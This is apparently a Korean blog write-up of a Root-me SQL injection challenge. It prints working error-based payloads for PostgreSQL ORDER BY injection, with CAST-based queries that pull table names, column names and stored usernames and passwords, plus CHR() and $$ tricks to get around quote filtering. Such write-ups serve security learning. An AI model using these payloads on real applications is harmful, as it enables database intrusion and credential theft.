password를 찾는 문제이다.

 

 

Contents에 order부분에 injection을 하면 될 것 같다. 

 


1. DB 종류 파악

 

 

 

 

 

문제를 보고 Error based sql injection로 생각하고 LOS때 사용했던 쿼리문을 한번 넣어보았다.

 

Query : ASC, (select count(*), floor(rand(0)*2)x from (select 1 union select 2 )t group by x) 

   //다음 쿼리 부터 ASC 생략하고 작성

 

 

 

쿼리를 작성하였더니 rand 함수를 찾을 수 없다는 ERROR메세지를 얻게 되었다. mysql이 아닌거라 생각하고 어떤 DB를 쓰는지 확인해보니 PostgreSQL 을 사용함을 알 수 있었다. ( sql injection db 종류 확인

 

 

 

Query : (select datname from pg_database)

//다른 쿼리도 사용 가능

 

 

 

 

+ERROR메세지를 통해서도 DB를 추측할 수 있는 것 같다.

// 출처 : https://cons.tistory.com/55

Query : '

 

 

 


2. Injection 시도

 

 

 

 

 

 

위의 쿼리들로 DB종류를 알아내서 Error based sql injection 공격을 시도 해보았다.

 

 

 

1. 테이블 이름을 얻는 쿼리

Query : 1=cast((select table_name from information_schema.tables  limit 1 offset 0) as int)--

 

 

 

위의 쿼리로 table이름을 얻을 수 있었다.

 

 

 

2. column 명을 얻는 쿼리

Query : 1=cast((select column_name from information_schema.columns where table_name= CHR(109) || CHR(51) || CHR(109) || CHR(98) || CHR(114) || CHR(51) || CHR(53) || CHR(116) || CHR(52) || CHR(98) || CHR(108) || CHR(51)  limit 1 offset 0) as int)--

 

 

 

offset 값을 늘려가면서 필요한 column 값을 얻을 수 있었다.

us3rn4m3_c0l,  p455w0rd_c0l,  em41l_c0l

 

 

 

3.컬럼명을 통해 필요한 데이터 얻기

Query : 1=cast((select us3rn4m3_c0l from m3mbr35t4bl3 limit 1 offset 0) as int)--

 

Query : 1=cast((select p455w0rd_c0l from m3mbr35t4bl3 limit 1 offset 0) as int)--

 

 

 

위의 데이터를 통해 답을 얻을 수 있었다

참고 : https://forum.sqliwiki.com/showthread.php?tid=30

 

 

 


문제를 풀고나서 Root-me에 올라온 solution들을 봤는데

컬럼명을 구하는 작업에서 '가 필터링 되어 있어서 column명을 얻는 쿼리에서 하나하나 CHR()을 반복하는 작업을 했는데 PostgreSQL에서는 $$로 우회할 수 있는 것 같다.

'Web hacking > Root me' 카테고리의 다른 글

[Root-me] - Local File Inclusion - Wrappers  (0) 2019.11.30
[Root-me] PHP - Serialization  (0) 2019.11.16
[Root-me] SQL Injection - Routed  (0) 2019.10.01
[Root-me] SQL injection - Numeric  (0) 2019.09.27
[Root-me] SQL injection - String  (0) 2019.09.27

+ Recent posts